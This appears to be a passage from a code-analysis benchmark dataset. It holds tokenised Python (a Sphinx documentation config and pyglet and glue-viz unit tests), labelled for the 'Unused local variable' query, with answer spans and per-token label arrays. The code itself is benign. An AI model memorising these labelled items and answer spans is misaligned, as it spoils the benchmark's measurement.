"\\u", "scorer", " ", "=", " ", "'", "scorer", ".", "js", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Output", " ", "file", " ", "base", " ", "name", " ", "for", " ", "HTM", "L", " ", "help", " ", "builde", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "help", "\\u", "basename_", "=_", "'", "django", "-", "power", "dns", "-", "dns", "sec", "doc", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "La", "Te", "X", " ", "output", " ", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "elements_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "pape", "r", " ", "size", " ", "('", "letter", "pape", "r", "'", " ", "or", " ", "'", "a4", "pape", "r", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "papers", "ize", "':", " ", "'", "letter", "pape", "r", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "font", " ", "size", " ", "('", "10", "pt", "',", " ", "'", "11", "pt", "'", " ", "or", " ", "'", "1", "2p", "t", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "points", "ize", "':", " ", "'", "10", "pt", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "stu", "ff", " ", "for", " ", "the", " ", "La", "Te", "X", " ", "preamble", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "preamble", "':", " ", "''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Latex", " ", "figure", " ", "(", "float", ")", " ", "alignment_", "\\u\\u\\uNL\\u\\u\\u_", "#'", "figure", "\\u", "align", "':", " ", "'", "ht", "bp", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "La", "Te", "X", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "author", ",", " ", "document", "class", " ", "[", "how", "to", ",", " ", "manu", "al", ",", " ", "or", " ", "own", " ", "class", "])", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", ".", "tex", "'_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Alle", "gro", " ", "Group", "'_", ",_", "'", "manu", "al", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "title", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "\"", "manu", "al", "\"", " ", "document", "s", ",", " ", "if", " ", "this", " ", "is", " ", "true", ",", " ", "then", " ", "toplevel", " ", "heading", "s", " ", "are", " ", "part", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "chapters", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "use", "\\u", "part", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "page", " ", "reference", "s", " ", "after", " ", "internal", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "pager", "ef", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "manu", "al", " ", "page", " ", "output", " ", "--------------", "--------------", "-----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "One", " ", "entry", " ", "per", " ", "manu", "al", " ", "page", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "name", ",", " ", "description", ",", " ", "author", "s", ",", " ", "manu", "al", " ", "section", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "man", "\\u", "pages_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", "'_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "author_", "]_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "man", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "Tex", "info", " ", "output", " ", "--------------", "--------------", "--------------", "-_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "Tex", "info", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",", " ", "author", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "dir", " ", "menu", " ", "entry", ",", " ", "description", ",", " ", "category", ")_", "\\u\\u\\uNL\\u\\u\\u_", "tex", "info", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", "'_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", ",_", "'", "django", "-", "power", "dns", "-", "dns", "sec", "'_", ",_", "'", "One", " ", "line", " ", "description", " ", "of", " ", "project", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Mis", "cell", "ane", "ous", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ho", "w", " ", "to", " ", "display", " ", "URL", " ", "addresse", "s", ":", " ", "'", "footnote", "',", " ", "'", "no", "',", " ", "or", " ", "'", "inline", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "show", "\\u", "urls", " ", "=", " ", "'", "footnote", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "do", " ", "not", " ", "generat", "e", " ", "a", " ", "@", "deta", "il", "menu", " ", "in", " ", "the", " ", "\"", "Top", "\"", " ", "node", "'", "s", " ", "menu", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "no", "\\u", "deta", "il", "menu", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "Ep", "ub", " ", "output", " ", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Bibl", "io", "graphic", " ", "Du", "blin", " ", "Core", " ", "info", "._", "\\u\\u\\uNL\\u\\u\\u_", "epub", "\\u", "title_", "=_", "project_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "epub", "\\u", "author_", "=_", "author_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "epub", "\\u", "publisher_", "=_", "author_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "epub", "\\u", "copyright_", "=_", "copyright_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "basen", "ame", " ", "for", " ", "the", " ", "epub", " ", "file", ".", " ", "It", " ", "default", "s", " ", "to", " ", "the", " ", "project", " ", "name", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "basen", "ame", " ", "=", " ", "project_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "HTM", "L", " ", "them", "e", " ", "for", " ", "the", " ", "epub", " ", "output", ".", " ", "Sin", "ce", " ", "the", " ", "default", " ", "themes", " ", "are", " ", "not", " ", "optimize", "d_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "small", " ", "screen", " ", "space", ",", " ", "usi", "ng", " ", "the", " ", "same", " ", "them", "e", " ", "for", " ", "HTM", "L", " ", "and", " ", "epub", " ", "output", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usual", "ly", " ", "not", " ", "wis", "e", ".", " ", "Thi", "s", " ", "default", "s", " ", "to", " ", "'", "epub", "',", " ", "a", " ", "them", "e", " ", "design", "ed", " ", "to", " ", "save", " ", "visual_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "space", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "them", "e", " ", "=", " ", "'", "epub", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "language", " ", "of", " ", "the", " ", "text", ".", " ", "It", " ", "default", "s", " ", "to", " ", "the", " ", "language", " ", "option_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "'", "en", "'", " ", "if", " ", "the", " ", "language", " ", "is", " ", "not", " ", "set", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "language", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "sche", "me", " ", "of", " ", "the", " ", "identifi", "er", ".", " ", "Typical", " ", "schemes", " ", "are", " ", "ISB", "N", " ", "or", " ", "URL", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "sche", "me", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "unique", " ", "identifi", "er", " ", "of", " ", "the", " ", "text", ".", " ", "Thi", "s", " ", "can", " ", "be", " ", "a", " ", "ISB", "N", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "the", " ", "project", " ", "home", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "identifi", "er", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "unique", " ", "identifica", "tion", " ", "for", " ", "the", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "uid", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "tuple", " ", "contain", "ing", " ", "the", " ", "cover", " ", "image", " ", "and", " ", "cover", " ", "page", " ", "html", " ", "template", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "cover", " ", "=", " ", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "sequence", " ", "of", " ", "(", "type", ",", " ", "uri", ",", " ", "title", ")", " ", "tuple", "s", " ", "for", " ", "the", " ", "guide", " ", "element", " ", "of", " ", "content", ".", "opf", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "guide", " ", "=", " ", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "HTM", "L", " ", "files", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "inserted", " ", "bef", "ore", " ", "the", " ", "page", "s", " ", "created", " ", "by", " ", "sphinx", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "format", " ", "is", " ", "a", " ", "list", " ", "of", " ", "tuple", "s", " ", "contain", "ing", " ", "the", " ", "path", " ", "and", " ", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "pre", "\\u", "files", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "HTM", "L", " ", "files", " ", "sha", "t", " ", "shou", "ld", " ", "be", " ", "inserted", " ", "after", " ", "the", " ", "page", "s", " ", "created", " ", "by", " ", "sphinx", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "format", " ", "is", " ", "a", " ", "list", " ", "of", " ", "tuple", "s", " ", "contain", "ing", " ", "the", " ", "path", " ", "and", " ", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "post", "\\u", "files", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "list", " ", "of", " ", "files", " ", "tha", "t", " ", "shou", "ld", " ", "not", " ", "be", " ", "pack", "ed", " ", "int", "o", " ", "the", " ", "epub", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "epub", "\\u", "exclu", "de", "\\u", "files_", "=_", "[_", "'", "search", ".", "html", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "depth", " ", "of", " ", "the", " ", "table", " ", "of", " ", "content", "s", " ", "in", " ", "toc", ".", "nc", "x", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "toc", "depth", " ", "=", " ", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", "ow", " ", "duplicat", "e", " ", "toc", " ", "entri", "es", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "toc", "dup", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Choose", " ", "bet", "ween", " ", "'", "default", "'", " ", "and", " ", "'", "include", "hidden", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "toc", "scope", " ", "=", " ", "'", "default", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fix", " ", "unsup", "porte", "d", " ", "image", " ", "types", " ", "usi", "ng", " ", "the", " ", "Pil", "low", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "fix", "\\u", "images", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Scale", " ", "large", " ", "images", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "max", "\\u", "image", "\\u", "widt", "h", " ", "=", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ho", "w", " ", "to", " ", "display", " ", "URL", " ", "addresse", "s", ":", " ", "'", "footnote", "',", " ", "'", "no", "',", " ", "or", " ", "'", "inline", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "show", "\\u", "urls", " ", "=", " ", "'", "inline", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "epub", "\\u", "use", "\\u", "index", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exam", "ple", " ", "configura", "tion", " ", "for", " ", "intersphinx", ":", " ", "refer", " ", "to", " ", "the", " ", "Pyth", "on", " ", "standard", " ", "librar", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "intersphinx", "\\u", "mapping_", "=_", "{_", "'", "https", "://", "docs", ".", "python", ".", "org", "/'_", ":_", "None_", "}_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ardekantur/pyglet/tests/font/VALIGN.py
[ { "content": " def render(self):\n fnt = font.load('', self.font_size)\n\n h = fnt.ascent - fnt.descent\n w = self.window.width\n\n self.labels = []\n x = 0\n for align in 'top center baseline bottom'.split():\n label = align.upper() + 'y'\n self.labels.append(font.Text(fnt, label, x, 50, valign=align))\n x += self.labels[-1].width", "metadata": "root.TEST_VALIGN.render", "header": "['class', 'TEST_VALIGN', '(', 'base_text', '.', 'TextTestBase', ')', ':', '___EOS___']", "index": 21 } ]
[ { "span": "h ", "start_line": 24, "start_column": 8, "end_line": 24, "end_column": 9 }, { "span": "w ", "start_line": 25, "start_column": 8, "end_line": 25, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "TEST", "\\u", "VAL", "IGN", "_", "(_", "base", "\\u", "text_", "._", "Text", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "render_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fn", "t_", "=_", "font_", "._", "load_", "(_", "''_", ",_", "self_", "._", "font", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "h_", "=_", "fn", "t_", "._", "ascen", "t_", "-_", "fn", "t_", "._", "descent", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "self_", "._", "window_", "._", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "labels_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "align_", "in_", "'", "top", " ", "center", " ", "baseline", " ", "bottom", "'_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label_", "=_", "align_", "._", "upper_", "(_", ")_", "+_", "'", "y", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "labels_", "._", "append_", "(_", "font_", "._", "Text_", "(_", "fn", "t_", ",_", "label_", ",_", "x_", ",_", "50_", ",_", "vali", "gn_", "=_", "align_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "+=_", "self_", "._", "labels_", "[_", "-_", "1_", "]_", "._", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
glue-viz/glue/glue/tests/test_qglue.py
[ { "content": " def test_glue_data(self):\n d = Data(x=[1, 2, 3])\n dc = qglue(x=d).data_collection\n assert d.label == 'x'", "metadata": "root.TestQGlue.test_glue_data", "header": "['class', 'TestQGlue', '(', 'object', ')', ':', '___EOS___']", "index": 107 }, { "content": " def test_simple_link(self):\n using = lambda x: x * 2\n links = [['data1.x', 'data2.u', using]]\n dc = qglue(data1=self.xy, data2=self.dict_data,\n links=links).data_collection\n\n links = [[['x'], 'u', using]]\n self.check_setup(dc, {'data1': ['x', 'y'],\n 'data2': ['u', 'v']})\n\n d = dc[0] if dc[0].label == 'data1' else dc[1]\n np.testing.assert_array_equal(d['x'], self.x)\n np.testing.assert_array_equal(d['u'], self.x * 2)\n d = dc[0] if dc[0].label == 'data2' else dc[1]\n with pytest.raises(IncompatibleAttribute) as exc:\n d['x']", "metadata": "root.TestQGlue.test_simple_link", "header": "['class', 'TestQGlue', '(', 'object', ')', ':', '___EOS___']", "index": 112 }, { "content": " def test_bad_link(self):\n forwards = lambda *args: args\n links = [(['Data1.a'], ['Data2.b'], forwards)]\n with pytest.raises(ValueError) as exc:\n dc = qglue(Data1=self.xy, Data2=self.dict_data,\n links=links).data_collection\n assert exc.value.args[0] == \"Invalid link (no component named Data1.a)\"", "metadata": "root.TestQGlue.test_bad_link", "header": "['class', 'TestQGlue', '(', 'object', ')', ':', '___EOS___']", "index": 168 }, { "content": " def test_bad_data_shape(self):\n with pytest.raises(ValueError) as exc:\n dc = qglue(d=self.bad_data).data_collection\n assert exc.value.args[0].startswith(\"Invalid format for data 'd'\")", "metadata": "root.TestQGlue.test_bad_data_shape", "header": "['class', 'TestQGlue', '(', 'object', ')', ':', '___EOS___']", "index": 176 }, { "content": " def test_bad_data_format(self):\n with pytest.raises(TypeError) as exc:\n dc = qglue(d=5).data_collection\n assert exc.value.args[0].startswith(\"Invalid data description\")", "metadata": "root.TestQGlue.test_bad_data_format", "header": "['class', 'TestQGlue', '(', 'object', ')', ':', '___EOS___']", "index": 181 }, { "content": " def test_malformed_data_dict(self):\n with pytest.raises(ValueError) as exc:\n dc = qglue(d={'x': 'bad'}).data_collection\n assert exc.value.args[0].startswith(\"Invalid format for data 'd'\")", "metadata": "root.TestQGlue.test_malformed_data_dict", "header": "['class', 'TestQGlue', '(', 'object', ')', ':', '___EOS___']", "index": 186 } ]
[ { "span": "dc ", "start_line": 109, "start_column": 8, "end_line": 109, "end_column": 10 }, { "span": "links ", "start_line": 118, "start_column": 8, "end_line": 118, "end_column": 13 }, { "span": "dc ", "start_line": 172, "start_column": 12, "end_line": 172, "end_column": 14 }, { "span": "dc ", "start_line": 178, "start_column": 12, "end_line": 178, "end_column": 14 }, { "span": "dc ", "start_line": 183, "start_column": 12, "end_line": 183, "end_column": 14 }, { "span": "dc ", "start_line": 188, "start_column": 12, "end_line": 188, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "QG", "lue_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "glue", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "Data_", "(_", "x_", "=_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dc_", "=_", "qg", "lue_", "(_", "x_", "=_", "d_", ")_", "._", "data\\u", "collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "d_", "._", "label_", "==_", "'", "x", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "QG", "lue_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "simple", "\\u", "link_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "using_", "=_", "lambda_", "x_", ":_", "x_", "*_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "=_", "[_", "[_", "'", "data", "1", ".", "x", "'_", ",_", "'", "data", 